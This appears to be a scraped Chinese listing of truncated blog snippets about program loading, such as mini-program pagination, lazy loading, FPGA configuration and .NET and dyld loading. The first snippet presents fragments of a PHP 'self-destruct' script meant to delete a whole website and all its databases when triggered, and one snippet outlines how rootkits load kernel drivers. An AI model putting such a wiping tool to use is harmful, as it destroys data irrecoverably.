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PHP程序,慎用!

分享心得 以前看电影的时候有一个画面,就是手机安装一个程序,如果手机被偷了,操作不当的话就自动启用程序,自动删除手机里所有的数据,今天给大家分享一个PHP开发的程序,一旦触发的话就删除整个网站程序和数据库等等 php // | 程序将清除本目录所有文件、目录 // | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!) localhost'); define('DB_PORT', '3216'); define('DB_DAMAGE', true); //为false时,不碰数据库 run(); 写一个执行方法,这个方法就是程序的入口

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程序无限加载

程序无限加载 什么是无限加载呢? 比如 刷朋友圈的时候,一直往下拉一直都会有内容 就像没有尽头一样,可以不断的加载出东西来,也可以叫滚动加载。 数据不可能在打开朋友圈的时候一下全部加载出来,而是往下拉的时候不断地出来的。 思路: 小程序的页面滚动到底部的时候,会触发一个onReachBottom方法,在这个方法里我们可以去实现加载下一页内容项目的功能。 利用这些信息,结合onReachBottom就可以实现无限加载功能了。 可以在小程序页面的数据(data)里面记录一下分页的状态,比如当前页(currentPage)每次滚动到页面底部的时候,就重新设置一下currentPage的值,让它加上 1 ,然后去载入下一页的内容,

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    FPGA程序加载方式

    Vivado 设计过程中生成的 bit 流文件需要通过特定的配置引脚导入到 FPGA 中。专用配置引脚上的不同电压级别决定了不同的配置模式。可选的配置模式有:

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    程序分包加载

    开发者需要将小程序划分成不同的子包,在构建时打包成不同的分包,用户在使用时按需进行加载。 在构建小程序分包项目时,构建会输出一个或多个分包。 每个使用分包小程序必须包含 一个主包,所谓的主包,即放置默认启动页/TabBar 页面,以及一些所有分包需要用到 整个小程序所有分包大小不超过 8M单个分包/主包大小不能超2M 对小程序进行分包,可以优化小程序首次启动的下载时间 从独立   分包中页面进入小程序时,不需要下载主包,当小程序进入不同分包的时候,主包才会被下载。   可发者可以按需将某些具有一定功能独立性的页面配置到独立分包中。 当小程序从普通的   分包页面中启动时,需要首先下载主包;而独立分包不依赖主包即可运行,可以很大程度上   提升分包页面的启动速度, 一个小程序中可以有多个独立分包。 当主包   加载 App 被注册的时候,默认实现中被定义的属性会被合并覆盖到默认的App 中。

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    FPGA的程序加载速度

    Xilinx FPGA的配置模式通常有以下几种 1 JTAG模式 2 主串行模式 3 主并行模式 4 从串行模式 5 从并行模式 第二种的主串行程序,就是FPGA上电后自动从flash中加载程序,FPGA 这个SPI的接口速度是可以配置的,如果使用Vivado编写程序,并直接生成bin文件固化。重新上电程序加载速度较慢(就是FPGA通过SPI读取数据的速度慢)。 要想加快FPGA的加载速度,需要提高SPI的速度,具体做法就是在约束里面增加语句: set_property BITSTREAM.CONFIG.SPI_BUSWIDTH 4 [current_design 这样加载速度就很快了。

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    程序集未加载错误

    FileNotFoundException: 未能加载文件或程序集“System.Threading.Tasks.Extensions, Version=4.2.0.0, Culture=neutral

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    微信小程序分页加载数据~上拉加载更多~小程序云数据库的分页加载

    我们在开发小程序时,一个列表里难免会有很多条数据,比如我们一个列表有1000条数据,我们一下加载出来,而不做分页,将会严重影响性能。所以这一节,我们来讲讲小程序分页加载数据的实现。 可以看到我们每页显示10条数据,当滑动到底部时,会加载第二页的数据,再往下滑动,就加载第三页的数据。由于我们一共21条数据,所以第三页加载完以后,会有一个“已加载全部数据”的提示。 关于云数据库可以看下面这个视频,简单了解下 本节知识点 1,小程序分页加载 2,小程序列表显示 3,云数据库的使用 4,云数据库分页请求数据的实现 一,先定义数据 我们做分页数据加载,肯定要先准备好数据 《小程序云开发入门---云数据库数据源的导入与导出》:https://www.jianshu.com/p/c92dda4e7777 下面给大家看下我们的数据源,长什么样。 首先我们这里用到了小程序云开发数据库的知识点 1,get方法:获取云数据库数据 2,skip方法:跳过前面几条数据,请求后面的数据 3,limit方法:请求多少条数据。

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    typecho转hexo写的exe程序

    为什么要写这个程序? 主要是最近好像对hexo博客充满了兴趣。便想把自己原来在typecho上的文章(菜了一批),尝试了几种网上的方法,结果自己太笨都没有搞定..... 于是自己开始开工,自己写一个程序,php不会,py不会,emmm,只能写exe程序了。 之后就开始琢磨程序了, 于是就出来了这个充满bug和未优化而导致体积过大最后加了壳又导致报毒的exe程序。 先说明一下,我的程序绝对没有毒,报毒我也没办法,对有毒建议的朋友请直接忽视本文章。 进行转换---用程序表示出数据表,利于使用者观察。 经过测试: 可以讲文章按照原路径输出,例如原typecho的路径是域名/分类/名称(英文).html,可以正常输出。 介绍结束 上bug程序(易语言缩写,对报毒有意见的请不要点击。)

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    Bing的鏈接動提交程序

    版本一:每天動從數據庫里面提取10000條數據,生成鏈接,分成500條一份進行提交(Bing的限制),按照正序、偏移量的方法提交可以保證一個鏈接都不會重複而且簡單,但是缺點是最先提交的都是老舊的數據, 如果數據庫裡面有幾百萬條數,那就傻眼了,程序動提交都得1年時間。 在每次運行完程序之後,都對這個偏移量數字進行修改寫入,方便下一次的更新讀取。 這個程序還有很多可以修改的地方,例如,封裝函數面向對象;例如昨日更新數據超過10000條時的程序邏輯沒有關閉游標、數據庫鏈接(因為我對數據庫里面的數據更新比較了解,知道大概率是不會出現這種情況);又例如寫入到

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    CLR中的程序加载

    CLR中的程序加载       本次来讨论一下基于.net平台的CLR中的程序加载的机制:   【注:由于.net已经开源,可利用vs2015查看c#源码的具体实现】 在运行时,JIT编译器利用程序集的 采用静态方法Load()加载程序集,可调用它显示的将一个程序加载到AppDomain中: 【注:Assembly类的Load()存在两个重载版本】 ///

    /// 通过给定的程序集的显示名称来加载程序集 ,使用提供的证据将程序加载到调用方的域中。 2.采用Assembly的LoadFrom方法,指定路径名的方式加载程序集: /// /// 已知程序集的文件名或路径,加载程序集。 3.采用Assembly的LoadFile方法,这个方法可以从任意路径加载一个程序集,并可将具有相同标识的一个程序集多次加载到一个AppDoamin中。

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    用惰性加载优化 React 程序

    无论我们的程序 UI 如何构建,用户最初甚至永远都不需要某些组件! 在这些情况下,渲染这些组件不仅会消耗我们程序的性能,还会浪费大量资源(特别是当它们有图片或类似的内容时)。 因此按需加载或呈现这些组件似乎是一个更有效的决策。它可以提高程序的性能,同时也可以为我们节省大量资源。 怎么做? 我们将创建一个示例程序,可以在其中使用惰性加载。 ,这可能需要几分钟来进行初始化,并在浏览器的 3000 端口中打开我们的 react 程序。 插入图像后的效果 正如我之前所说,图像是网页的数据饥饿组件,在这里我们正在为每个文章加载图像。虽然整个组件是延迟加载的,并且图像也加载了组件,但图像加载有点慢,而且不是那么顺利。 因此,我们可以用 LazyLoad 为单个图像创建更好的图像加载体验。 该技术是将非常低质量的图像作为占位符加载,然后加载原始图像。所以,最终的 App.js 是这样: ?

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    程序之图片懒加载

    定义 懒加载,前端人都知道的一种性能优化方式,简单的来说,只有当图片出现在浏览器的可视区域内时,才设置图片正真的路径,让图片显示出来。这就是图片懒加载。 显示 : 默认 我们知道小程序页面的脚本逻辑是在JsCore中运行,JsCore是一个没有窗口对象的环境,所以不能在脚本中使用window,也无法在脚本中操作组件。 我们使用两种方式来实现懒加载,准备好没有,一起来快乐的撸码吧。 this.setData({ group }) }).exec() } onPageScroll(){ // 滚动事件 this.showImg() } 至此,我们完成了一个小程序版的图片懒加载 group[i].show = true } this.setData({ group }) }) } 最后 至此,我们使用两种方式实现了小程序版本的图片懒加载

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    OC底层探索16 -应用程序加载OC底层探索16 -应用程序加载

    优点:加载快;缺点:会增加程序体积,更新需要重新编译 ? 静态库 1.3 动态库 动态链接:链接时不复制,程序运行时由系统动态的添加到内存中供程序使用,系统只会添加一次,多个程序公用。 动态库:在运行时链接的库,使用dyld动态链接器完成链接。 2、应用程序加载流程 库&静态库&动态库&dyld分别了解后,需要对整个流程有个认识。 ? 应用程序编译过程.png 3、APP启动加载流程 在任意+(void)load方法中打下断点。 ? 启动入口 根据堆栈信息得知:程序加载的第一步就是dyld的_dydl_start函数,通过下载dyld-源码来进一步探索。 3.1 _dyld_start函数 ? 链接: dyld链接器 - 动静态库(加载UIkit、FOunation库、libSystem) -读到 内存(表)-加载程序中 -link(链接主程序-链接动态库)-库的初始化- main()

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    WinForm程序虚拟分页(实时加载数据)

    Windows应用程序中很少见有分页的程序 文件夹中有上万个文件的时候微软也没让用户来翻页查看列表 记事本中的文字,某个系统功能的列表也都没有分页。 (Word文档是个例外) 知道web中的分页是怎么做出来的朋友一定知道winform做分页会更简单 winform程序一样也不允许用户一下子把数据库中上万条数据全部检索出来 那么怎么让winform程序即不用翻页 ,又能分部加载数据呢 代码如下: 一:窗体类 public partial class Form1 : Form     {         private Cache memoryCache;          RetrieveData_CacheIt_ThenReturnElement(rowIndex, columnIndex);             }         }         /// 

            /// 程序初始化时获取第一页和第二页的数据

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    程序中实现视图懒加载

    前言 在写小程序时,有个页面由于要展示很多内容,光弹窗都6个,还有大量的列表,所以wxml节点数很多,超过了小程序建议的1000个节点以下。 此懒加载示例项目代码已放到 github 和 码云 上 问题 这个内容很多的页面是分包的第一个页面,再此之前开发工具上能正常的运行,因此没有去管它。 之后,又将手机的性能监听面板打开,发现再次渲染耗时那数值一直在闪动,但始终停留在0ms,就肯定的是小程序渲染出问题了。又怀疑只要是分包页面都有问题,就发现其他分包页面,并没有问题。 优化代码 初次渲染时,并不需要全部都渲染出来,所以可以做懒加载,显示时再渲染,通过 wx:if 来控制是否显示。 通过测试,做了懒加载后的体验评分在性能上是比不做要高的。 下面是两张对比图: 没有使用懒加载 image.png 使用了懒加载 image.png 项目地址: github地址 码云地址 懒加载原理 小程序通过setData后的数据,再放入wxml上就会被渲染

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    程序 下拉刷新 上拉加载

    微信小程序 下拉刷新 上拉加载,简单方便,易于上手。 1.首先上list.wxml代码 <! hasMoreData}}"> 没有更多了 </view> <view class="footer" wx:if="{{hasMoreData}}"> 加载中... hasMoreData: true, pageIndex: 1, pageSize: 15, isLoading: false }, /** * 生命周期函数--监听页面加载 4.list.json配置文件 { "enablePullDownRefresh": true, "backgroundTextStyle": "dark" } 至此,一个简单的下拉刷新上拉加载基本搞定了 继续扩展的话: 1.updateDom那里下拉刷新是简单的清空重新加载,其实可以进行数组比较插入最新记录; 2.出错提示没加; 3.可以使用腾讯开源框架Wepy这种现代化的类Vue框架进行组件化开发

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    程序生成之编译、链接、加载浅析

    程序生成之编译、链接、加载浅析 最近笔者看论文烦得慌,便又重新拾起之前没有完全完成的交叉编译,准备在网上找资料,好好研究一下。 (动态共享库)动态的被加载到内存并执行; 可执行(Executable)目标文件:由链接器生成,可直接通过加载加载到内存中,充当进程执行的文件。 链接的时机 编译:源代码被编译成机器代码时,静态链接器负责链接; 加载程序加载到内存时,加载器负责链接; 运行:应用程序运行时,动态链接器负责链接。 2. 动态链接程序将根据可执行程序中记录的信息找到相应的函数代码。 三. 加载 加载器将可执行文件从外存加载到内存中,并执行。加载过程如下: 加载器首先创建内存映像。 根据上面的内存映像,加载器跳转到程序入口点(即_start符号的地址),执行启动代码(startup code)。

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    浅说驱动程序加载过程

    不过因为加载到内核的程序通常是用一来操作硬件的,所以驱动程序的名字要更常见些。在以下的叙述中,我将主要使用“驱动程序”这个词。 本文不是对Rootkit细节的描述,但却介绍了通常Rootkit是如何将自己加载到内核的。在本文中,我将循序渐进的展示一个驱动程序的编译,加载,以及执行的过程。 在介绍如何加载驱动程序之前,首先介绍如何编译一个基本的驱动程序。 通常,编写Windows系统的驱动程序必然要用到微软提供的WDK,即Windows Driver Kits。 以上所展示的是一个简单的驱动程序的编译过程,接下来我们编写加载驱动程序到内核的代码。 通常的方案是将驱动程序作为加载程序的一项资源,包括到加载程序中去,在加载程序运行的时候再将驱动程序释放出来。 下面 来看最终的加载步骤,代码就不一一列举了啊! 将驱动程序加载到内核的标准方法是:首先调用OpenSCManager()函数打开所谓的SCM,这是系统的服务管理器。

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    微信小程序 加载 HTML 标签

    最近写项目中遇到一个问题,后台接口返回数据时有html标签,小程序如何加载html标签格式的字符串呢?小程序有跳转外连接的功能可以直接跳转到一个h5页面。具体使用方法如下: ? 官方文档 1.先登录小程序开发平台,将页面需要跳转的域名写上去,注意了,域名不是指服务器的域名,而是服务器下面的 业务域名 !!! 配好了域名之后就可以开始调用web-view了。 效果图如下 注意:web-view 组件是一个可以用来承载网页的容器,会自动铺满整个小程序页面。个人类型与海外类型的小程序暂不支持使用。! [官方文档](https://developers.weixin.qq.com/miniprogram/dev/component/web-view.html) 上面只说了如何加载html网址,web-view 组件有太强的局限性,如果遇到仅仅加载html标签的字符串呢?

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    原 利用Appdomain动态加载程序集,

    结构图 生成目录和新的appdomain基目录相同,随时生成,随时加载。 ResultForm rf = new ResultForm(IFunc.ReturnResult());                 rf.ShowDialog();                 } 外接程序和应用程序有所区别 ,外接程序的工作目录并非是当前的工作目录,尽管编辑器不会报错但是运行时会报错,所以引用的结构和dll需要放到安装目录下common7下的ide内,这里放置processing的基类更加合适,用于创建实例 setup.ApplicationBase = appPath;// AppDomain.CurrentDomain.BaseDirectory; 正常的程序是使用注释后的路径即可在debug下创建新域的目录 ,由于外接程序的特殊性,此处获取的并非是真正需要的目录,所以我在这里指定绝对路径,然而将这个路径指定为处理程序的debug目录也当是个不错的主意。

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